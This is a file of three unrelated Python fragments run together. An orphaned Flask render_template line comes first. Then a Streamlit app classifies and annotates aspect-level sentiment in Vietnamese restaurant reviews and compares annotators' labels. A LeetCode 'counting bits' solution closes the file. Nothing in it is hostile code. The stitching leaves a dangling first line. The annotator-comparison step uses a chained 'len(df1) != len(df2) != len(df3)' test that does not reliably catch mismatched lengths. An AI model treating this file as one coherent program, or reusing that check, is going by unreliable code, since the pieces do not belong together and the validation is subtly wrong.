    return render_template("subreddit.html", subreddit_list = subreddit_list)


import re
from io import StringIO
from pathlib import Path

import emoji
import joblib
import sklearn
import unicodedata
import numpy as np
import pandas as pd
import streamlit as st

from functools import partial
from emoji import get_emoji_regexp
from flashtext import KeywordProcessor
from sklearn.base import BaseEstimator, TransformerMixin

st.set_page_config(
    page_title="ABSA Restaurant",
    page_icon="🍣"
)

HASHTAG = 'hashtag'

class TextCleanerBase(BaseEstimator, TransformerMixin):
    def __init__(self):
        super().__init__()

        # Find emojis
        emoji = get_emoji_regexp()

        # Create preprocessing function
        self.remove_emoji      = partial(emoji.sub, '')
        self.normalize_unicode = partial(unicodedata.normalize, 'NFC')

    def fit(self, X, y=None):
        return self

    def transform(self, X):
        if not isinstance(X, pd.Series):
            X = pd.Series(X)

        return X.apply(str.lower) \
                .apply(self.remove_emoji) \
                .apply(self.normalize_unicode)

class TextCleaner(TextCleanerBase):
    def __init__(self):
        super().__init__()

        # Find hashtag
        hashtag = re.compile('#\S+')

        # Find price tags
        pricetag = '((?:(?:\d+[,\.]?)+) ?(?:nghìn đồng|đồng|k|vnd|d|đ))'
        pricetag = re.compile(pricetag)

        # Find special characters
        specialchar = r"[\"#$%&'()*+,\-.\/\\:;<=>@[\]^_`{|}~\n\r\t]"
        specialchar = re.compile(specialchar)

        # Spelling correction
        rules = {
            "òa":["oà"], "óa":["oá"], "ỏa":["oả"], "õa":["oã"], "ọa":["oạ"],
            "òe":["oè"], "óe":["oé"], "ỏe":["oẻ"], "õe":["oẽ"], "ọe":["oẹ"],
            "ùy":["uỳ"], "úy":["uý"], "ủy":["uỷ"], "ũy":["uỹ"], "ụy":["uỵ"],
            "ùa":["uà"], "úa":["uá"], "ủa":["uả"], "ũa":["uã"], "ụa":["uạ"],
            "xảy":["xẩy"], "bảy":["bẩy"], "gãy":["gẫy"],
            "không":["k", "hông", "ko", "khong"]}

        kp = KeywordProcessor(case_sensitive=False)
        kp.add_keywords_from_dict(rules)

        # Create preprocessing functions
        self.autocorrect          = kp.replace_keywords
        self.normalize_pricetag   = partial(pricetag.sub, 'giá_tiền')
        self.normalize_hashtag    = partial(hashtag.sub, HASHTAG)
        self.remove_specialchar   = partial(specialchar.sub, '')

    def transform(self, X):
        X = super().transform(X)

        return X.apply(self.autocorrect) \
                .apply(self.normalize_pricetag) \
                .apply(self.normalize_hashtag) \
                .apply(self.remove_specialchar)

pipeline_fp = Path('./model/pipe.joblib')

full_pipeline = joblib.load(pipeline_fp)

def classify_sentence(sentence):
    return full_pipeline.predict([sentence])[0].astype(np.uint)

def multioutput_to_multilabel(y):
    if isinstance(y, pd.DataFrame):
        y = y.values
    nrow = y.shape[0]
    ncol = y.shape[1]
    multilabel = np.zeros((nrow, 3 * ncol), dtype=bool)
    for i in range(nrow):
        for j in range(ncol):
            if y[i, j] != 0:
                pos = j * 3 + (y[i, j] - 1)
                multilabel[i, pos] = True
    return multilabel

def custom_f1_score(y_true, y_pred, average='micro', **kwargs):
    y_true = multioutput_to_multilabel(y_true)
    y_pred = multioutput_to_multilabel(y_pred)
    return sklearn.metrics.f1_score(y_true, y_pred, average=average, **kwargs)

aspects = ["FOOD#PRICES",
           "FOOD#QUALITY",
           "FOOD#STYLE&OPTIONS",
           "DRINKS#PRICES",
           "DRINKS#QUALITY",
           "DRINKS#STYLE&OPTIONS",
           "RESTAURANT#PRICES",
           "RESTAURANT#GENERAL",
           "RESTAURANT#MISCELLANEOUS",
           "SERVICE#GENERAL",
           "AMBIENCE#GENERAL",
           "LOCATION#GENERAL"]

all_attrs = [['PRICES', 'QUALITY', 'STYLE&OPTIONS'],
             ['PRICES', 'QUALITY', 'STYLE&OPTIONS'],
             ['PRICES', 'GENERAL', 'MISCELLANEOUS'],
             ['SERVICE', 'AMBIENCE', 'LOCATION']]

sentiments = ['dne', 'negative', 'neutral', 'positive']

entities = ['FOOD', 'DRINKS', 'RESTAURANT', 'OTHERS']

@st.cache
def combine_entity_attr(entities, all_attrs):
    return [f'{entity}#{attr}' for attrs, entity in zip(
        all_attrs, entities) for attr in attrs]

all_keys = combine_entity_attr(entities, all_attrs)

def display_result(result):
    for key, stmi in zip(all_keys, result):
        if not stmi:
            continue
        st.markdown(f'- **{key}**: {sentiments[stmi]}')

def label_encoder(label):
    y = [np.nan] * len(aspects)
    ap_stm = re.findall('{(.+?), ([a-z]+)}', label)

    for aspect, sentiment in ap_stm:
        idx = aspects.index(aspect)
        y[idx] = sentiment

    return y

def txt2df(uploaded_file):
    stringio = StringIO(uploaded_file.getvalue().decode('utf-8'))
    data = stringio.read().split('\n')

    df = pd.DataFrame()
    df['review'] = [review for review in data[1::4]]
    df[all_keys] = [label_encoder(label) for label in data[2::4]]

    return df

def label_decoder(encoded_label):
    label = []
    for ap_idx, sentiment in enumerate(encoded_label):
        if isinstance(sentiment, str):
            aspect = aspects[ap_idx]
            label.append(f'{{{aspect}, {sentiment}}}')
    return ', '.join(label)

@st.cache
def df2txt(df):
    X = df.review.values
    y = df.drop('review', axis=1).values
    rows = []
    for test_id, (review, label) in enumerate(zip(X, y), 1):
        label = label_decoder(label)
        rows.extend((f'#{test_id}', review, label, ''))
    text = '\n'.join(rows[:-1])
    return text

st.title('ABSA for Restaurant Review')

modes = ["Classify sentence",
         "Annotate data",
         "Compare results"]

st.sidebar.selectbox("Select a mode", modes, key='mode')
st.header(st.session_state.mode)

if st.session_state.mode == modes[0]:
    text = st.text_area(
        "Enter your review here and press Control+Enter to classify")
    if text:
        with st.spinner():
            result = classify_sentence(text)
            display_result(result)

elif st.session_state.mode == modes[1]:

    if 'prev_fileid' not in st.session_state:
        st.session_state.prev_fileid = None

    uploaded_file = st.sidebar.file_uploader('Upload texts', type='txt')

    def refresh():
        state = st.session_state
        doc_id = state.doc_id
        if state.df is None:
            return
        row = state.df.loc[doc_id]
        state.update({k: row[k] if isinstance(row[k], str)
                      else 'dne' for k in all_keys})

    if uploaded_file and st.session_state.prev_fileid != uploaded_file.id:
        df = txt2df(uploaded_file)

        st.session_state.df = df
        st.session_state.doc_id = 0
        st.session_state.ndocs = len(df)
        st.session_state.prev_fileid = uploaded_file.id
        refresh()
    elif uploaded_file is None:
        st.session_state.df = None
        st.session_state.doc_id = None

    # --------------------------------------------------

    if st.session_state.df is not None:
        txt = df2txt(st.session_state.df)

        st.sidebar.download_button(
            label='Export ⬇',
            data=txt,
            file_name='annotated_dataset.txt',
            mime='plain')

    # --------------------------------------------------

    # def on_submit():
    #     state = st.session_state
    #     doc_id = state.doc_id
    #     df = st.session_state.df
    #     df.iloc[doc_id, 1:] = [state[k] if state[k]
    #                            != 'dne' else np.nan for k in all_keys]

    def on_change_sentiment(key):
        state = st.session_state
        doc_id = state.doc_id
        df = state.df
        col_index = all_keys.index(key) + 1
        df.iloc[doc_id, col_index] = state[key] if state[key] != 'dne' else np.nan

    def on_next_prev(go_next):
        state = st.session_state
        doc_id = state.doc_id
        if go_next:
            state.doc_id = min(state.ndocs - 1, doc_id + 1)
        else:
            state.doc_id = max(0, doc_id - 1)
        refresh()

    def annotate_all():
        df = st.session_state.df
        y = full_pipeline.predict(df.review).astype(np.object_)
        y[y == 1] = 'negative'
        y[y == 2] = 'neutral'
        y[y == 3] = 'positive'
        y[y == 0] = np.nan
        df.iloc[:, 1:] = y
        refresh()

    def auto():
        df = st.session_state.df
        doc_id = st.session_state.doc_id
        text = df.loc[doc_id, 'review']
        result = classify_sentence(text)
        df.iloc[doc_id, 1:] = [sentiments[result[i]]
                               if result[i] else np.nan for i in range(len(result))]
        refresh()

    # --------------------------------------------------

    if st.session_state.df is not None:
        state = st.session_state
        doc_id = state.doc_id
        df = state.df
        doc_ids = range(state.ndocs)
        st.selectbox('Choose document', doc_ids,
                     key='doc_id', on_change=refresh)
        current_doc = df.loc[doc_id]
        st.write(current_doc[0])
        st.write(f'**{label_decoder(current_doc[1:])}**')

    if st.session_state.df is not None:
        cols = st.columns(4)
        cols[0].button('⏮ Prev', on_click=on_next_prev, args=(False, ))
        cols[1].button('Next ⏭', on_click=on_next_prev, args=(True, ))
        cols[2].button('Auto 🐢', on_click=auto)
        cols[3].button('Auto ⚡', on_click=annotate_all)

        containers = []

        for entity in entities:
            container = st.container()
            container.subheader(entity)
            containers.append(container)

        rows = [container.columns(len(attrs))
                for container, attrs in zip(containers, all_attrs)]

        for row, entity, attrs in zip(rows, entities, all_attrs):
            for column, attr in zip(row, attrs):
                key = f'{entity}#{attr}'
                column.radio(attr, sentiments, key=key,
                             on_change=on_change_sentiment, args=(key,))

        st.dataframe(st.session_state.df)
    else:
        st.write('Upload text file to begin.')
else:
    file1 = st.sidebar.file_uploader("Upload annotator 1's data", type='txt')
    df1 = None
    if file1 is not None:
        df1 = txt2df(file1)

    file2 = st.sidebar.file_uploader("Upload annotator 2's data", type='txt')
    df2 = None
    if file2 is not None:
        df2 = txt2df(file2)

    file3 = st.sidebar.file_uploader("Upload goal data", type='txt')
    df3 = None
    if file3 is not None:
        df3 = txt2df(file3)

    if df1 is not None and df2 is not None and df3 is not None:
        if (len(df1) != len(df2) != len(df3)
                or df1.review[0] != df2.review[0]
                or df1.review[0] != df3.review[0]):

            st.error('The annotated data are different')
        else:
            mapping = {np.nan: 0, 'negative': 1, 'neutral': 2, 'positive': 3}

            y1 = df1.iloc[:, 1:].replace(mapping).astype(np.uint8).values
            y2 = df2.iloc[:, 1:].replace(mapping).astype(np.uint8).values
            y3 = df3.iloc[:, 1:].replace(mapping).astype(np.uint8).values

            y1 = multioutput_to_multilabel(y1)
            y2 = multioutput_to_multilabel(y2)
            y3 = multioutput_to_multilabel(y3)

            interagree = custom_f1_score(y1, y2)
            benchmark1 = custom_f1_score(y3, y1)
            benchmark2 = custom_f1_score(y3, y2)

            st.write("**Inter-Annotator Agreement:**", interagree)
            st.write(f"**{file1.name} benchmark:**", benchmark1)
            st.write(f"**{file2.name} benchmark:**", benchmark2)

            st.subheader(file1.name)
            st.dataframe(df1)
            st.subheader(file2.name)
            st.dataframe(df2)
            st.subheader(file3.name)
            st.dataframe(df3)
    else:
        st.write("Upload 2 annotators' data and goal data to compare")


'''
leetcode 338. 比特位计数
给定一个非负整数 num。对于 0 ≤ i ≤ num 范围中的每个数字 i ，计算其二进制数中的 1 的数目并将它们作为数组返回。
'''
class Solution(object):
    def countBits(self, n):
        """
        :type n: int
        :rtype: List[int]
        """
        out = [0] * (n+1)
        for i in range(1,n+1,1):
            if i%2==1: out[i]=out[i-1]+1
            else:
                out[i]=out[i>>1]

        return out